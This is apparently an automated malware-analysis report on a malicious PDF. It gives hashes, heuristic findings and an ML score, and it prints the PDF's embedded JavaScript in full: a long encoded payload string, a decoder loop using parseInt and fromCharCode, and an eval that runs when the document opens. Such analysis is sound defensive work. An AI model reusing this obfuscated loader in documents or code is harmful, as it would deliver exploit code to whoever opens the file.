Malicious PDF — malware analysis report

Static analysis result for SHA-256 c1a0dacad47ede34…

MALICIOUS

PDF

19.3 KB Created: 2012-09-17 23:33:20 +04:00 Authoring application: Adobe Acrobat 10.0 (via Acrobat Web Capture 10.0) First seen: 2026-05-08
MD5: 51b3f1df1ec85a6adf74f1f7ade5b9b6 SHA-1: 8da0fc65acfdc17fa35fbfcfd42c8f8041492ec4 SHA-256: c1a0dacad47ede3432818d35b7a24e7d1ec0ecd06edb5e748a85ece7fc418197
118 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT and PDF_JS. The presence of a large JavaScript file (javascript_obj0019_000.js) suggests it is designed to execute malicious code. The exact intent of the script is unclear due to potential obfuscation, but its presence is highly suspicious. The document body is unreadable, providing no further context.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
     s+=String.fromCharCode\(p\(a[i]+a[i2],30+1\)\);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://www.iec.chIn PDF document text

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0019_000.js pdf-javascript-stream PDF /JS object 19 at offset 0x2DE 8220 bytes
SHA-256: 39bdde6f2a306b7eda123404c49ead367975917e7a14d2f0d49ade9abdd1aa9d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 10 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
xx='b';
a='353d3m3a1u18163o1p1k1n1n163o3936381l163o1p1m3936163o1o1m381l163o381q1k1l163o1k1k1m39163o1n1l361h163o1l1h1p35163o1p351k1h163o1h361l1h163o1o1h1p35163o1m1n1i36163o1o1n1p35163o1k1k1h1p163o1n1n3735163o1m381p35163o1h1k1k36163o1k1k1o1l163o1p1i1j36163o1i1m3838163o39391i1h163o351p3939163o1l1h1p35163o361k1k1h163o1k1q1l1n163o1o1m1h1n163o1p1o3935163o1j1l1k1l163o381l1p1m163o1m1i1o1m163o3835381q163o1m1i1l36163o1p351m1n163o1k361o1m163o1o1l1p35163o1o1p1k1m163o391m1h1k163o1p351m1n163o1j1h1o1n163o391m1h1k163o361q1k1k163o1l1i1l1q163o34373936163o361m1h1k163o37351k1k163o35381h39163o1k1p1i1h163o1o1l391j163o361i1h1p163o1h373635163o37341h1k163o38351l1h163o1k35391i163o1o1m1i39163o1m38381n163o1m381p35163o1h1k1j1l163o1n1n3737163o1h361p35163o1p371l35163o38361l1n163o1m1l3939163o1h361j1l163o371p1p35163o37371h1k163o1h1l1p35163o1h1k1p35163o3435361m163o1m1q1m38163o3835361k163o34371m1k163o1n1p1p35163o1p1h1j1h163o1h361o37163o1o1l1k1k163o1q1n1h1k163o391k3835163o1n1p1p35163o1p351h1p163o1n34391o163o1m1q1h1m163o1q1p381p163o39393939163o381j3939163o381p391q163o1h1h1h1h163o1h1h1h1h163o1m1h1m1p163o1l1h1n34163o39391n1p163o1h1h1h1h163o1m1h1h1h163o361h1p1k163o1m1h1i1q163o1p351m1m163o1p353836163o1i1h1m38163o361k1p1k163o39391h1m163o1n1p381k163o1n381n39163o1h1h1h1h163o1o1m1n1p163o1n361o1j163o1m1l1n37163o1i1n3939163o361l1p1k163o1p351h1p163o381p381p163o39391n1i163o39393939163o1h1j3835163o1o1j3835163o38361p1i163o1h1i1h1l163o1h1h1h1h163o1m361p37163o1h361j1l163o1h1l361o163o1o1j1j1l163o1n1o1n1m163o361o1o1k163o1j1l1l1l163o1o1n1h1l163o1k1k1o1j163o361o1k1j163o1j1l1l1l163o1j1h1h1p163o1o1k1j37163o1m1k1j1h163o391p1n1p163o1h1h1h1h163o39391h1h163o1h361m1n163o381p1p35163o361q1k1k163o361o1m1i163o1i371l1l163o1o1o1h1h163o1n1j1o1h163o361o1o1l163o1i371l1l163o1j381h1m163o1n361n1l163o361n1n36163o1i371l1l163o1h1h1h1q163o1p341m1q163o1h1l361i163o1p1p1k1h163o1i371l1l163o1l1i1h1l163o1n341m1i163o1n341h1h163o1m1k1h1h163o1n341m1o163o39391h1h163o1i1l1m1n163o361h1p1m163o1i1n1o1m163o1h1h1n34163o39391m1k163o1h1l1m1n163o1h1h1n34163o38351p1k163o1m1k1h36163o1m1n3939163o1p1k1h1l163o1h36361k163o1h1j3835163o1i1k3835163o1p1h1l1o163o1h1h1k39163o39341o1m163o1p1h1l1o163o1h1h1k39163o361l1o1m163o1h1h1n34163o39381n34163o1m1n3939163o381p1h1p163o39381q36163o39393939163o1l381p38163o38361h38163o39381q1p163o1h381p34163o1n391p1q163o35371h1i163o36341k1k163o1m351p34163o361n1i35163o1o1q1l1n163o1i341k1n163o1o1h1j39163o1o1l1n1p163o1o1h1o1l163o1j391k34163o1o1l1j39163o1n381n1q163o1n1m1o1l163o1j381o1j163o1n391m1q163o1o1k1o1m163o1n1i1m1k163o1n1m1o1n163o1n1k1j38163o1n371n39163o1n1k1j39163o1n381n39163o1n1i1o1l163o1o1l1n1k163o1j391o1k163o1n391l1k163o1n371n37163o1n381n1m163o1m391o1l163o1n391l1p163o1n1m1n37163o1j381k1l163o1o1p1n1m163o1h1h1n1m163o1h1h1h1h181s393o3h363n3c3i3h11383t3p3l193l341d3k3s1a3u3q3'+xx+'3c3f38193l341f3f383h3a3n3'+xx+'1'+xx+'1j1t3k3s1a3u3l341c1u3l34413l341u3l341f3m3o353m3n3l3c3h3a191h1d3k3s1g1j1a1s3l383n3o3l3h113l3441393o3h363n3c3i3h11353r191a3u3p343l11373e3a1u3h383q11233l3l343s191a1s3p343l113p3q1u1h3r1h361h361h361h361s3p343l113437373l1u1h3r1l1h1h1h1h1h1s3p343l113j343s3f3i34371u3o3h383m36343j3819353d3m3a1a1s3p343l113m36323f383h1u3j343s3f3i34371f3f383h3a3n3'+xx+'1'+xx+'1j1s3p343l113k3s1u3437373l1e193m36323f383h1c1h3r1k1p1a1s3p343l113s343l3m3j1u3o3h383m36343j381913163o1q1h1q1h163o1q1h1q1h131a1s3s343l3m3j1u383t3p3l193s343l3m3j1d3k3s1a1s3p343l11363i3o3h3n1j1u193p3q1e1h3r1l1h1h1h1h1h1a1g3437373l1s393i3l193p343l11363i3o3h3n1u1h1s363i3o3h3n1t363i3o3h3n1j1s363i3o3h3n1c1c1a3u373e3a2t363i3o3h3n301u3s343l3m3j1c3j343s3f3i3437413p343l113i3p383l393f3i3q1u3o3h383m36343j381913163o1h361h36163o1h361h36131a1s3q3'+xx+'3c3f38193i3p383l393f3i3q1f3f383h3a3n3'+xx+'1t1l1l1q1m1j1a3u3i3p383l393f3i3q1c1u3i3p383l393f3i3q413n3'+xx+'3c3m1f363i3f3f34352l3n3i3l381u253i3f3f34351f363i3f3f38363n273g343c3f2'+xx+'3h393i193u3m3o353d1r13131d3g3m3a1r3i3p383l393f3i3q411a41393o3h363n3c3i3h113j3l3c3h3n39191a3u3h3i3j1u3o3h383m36343j381913163o1h231h23163o1h231h23163o1h231h23163o1h231h23131a1s3p343l113j343s3f3i34371u3o3h383m36343j3819353d3m3a1a1s3'+xx+'38343j353f3i363e1u3h3i3j1c3j343s3f3i34371s353c3a353f3i363e1u3o3h383m36343j381913163o1h231h23163o1h231h23131a1s3'+xx+'383437383l3m3c3t381u1j1h1s3m3j3l343s1u3'+xx+'383437383l3m3c3t381c3'+xx+'38343j353f3i363e1f3f383h3a3n3'+xx+'1s3q3'+xx+'3c3f3819353c3a353f3i363e1f3f383h3a3n3'+xx+'1t3m3j3l343s1a3u353c3a353f3i363e1c1u353c3a353f3i363e41393c3f3f353f3i363e1u353c3a353f3i363e1f3m3o353m3n3l3c3h3a191h1d3m3j3l343s1a1s353f3i363e1u353c3a353f3i363e1f3m3o353m3n3l3c3h3a191h1d353c3a353f3i363e1f3f383h3a3n3'+xx+'1e3m3j3l343s1a1s3q3'+xx+'3c3f3819353f3i363e1f3f383h3a3n3'+xx+'1c3m3j3l343s1t1h3r1l1h1h1h1h1a3u353f3i363e1u353f3i363e1c353f3i363e1c393c3f3f353f3i363e413g383g1u3h383q11233l3l343s191a1s393i3l193c1u1h1s3c1t1i1l1h1h1s3c1c1c1a3u3g383g2t3c301u353f3i363e1c3'+xx+'38343j353f3i363e413p343l113h3o3g1u1i1j1q1q1q1q1q1q1q1q1q1q1q1q1q1q1q1q1q1q1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1p1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s='';
if((event.name+'').substr(0,3)=='O'+'pe'){t=event;}
p=t.target['p'+'arseInt'];
for(i=0;i<a.length;i+=2){
	jj = 0;
	i2=i+1;
	s+=String.fromCharCode(p(a[i]+a[i2],30+1));
}
t.target[(xx=='b')?'eval':0](s);
icc_00_off000029b5.icc pdf-icc-profile PDF ICC profile at offset 0x29B5 408 bytes
SHA-256: 653b586c4707574ffcd648ba35494daed2c76ceafcf4c07d315ed961b1dc347f
icc_01_off00002c50.icc pdf-icc-profile PDF ICC profile at offset 0x2C50 3144 bytes
SHA-256: 2b3aa1645779a9e634744faf9b01e9102b0c9b88fd6deced7934df86b949af7e

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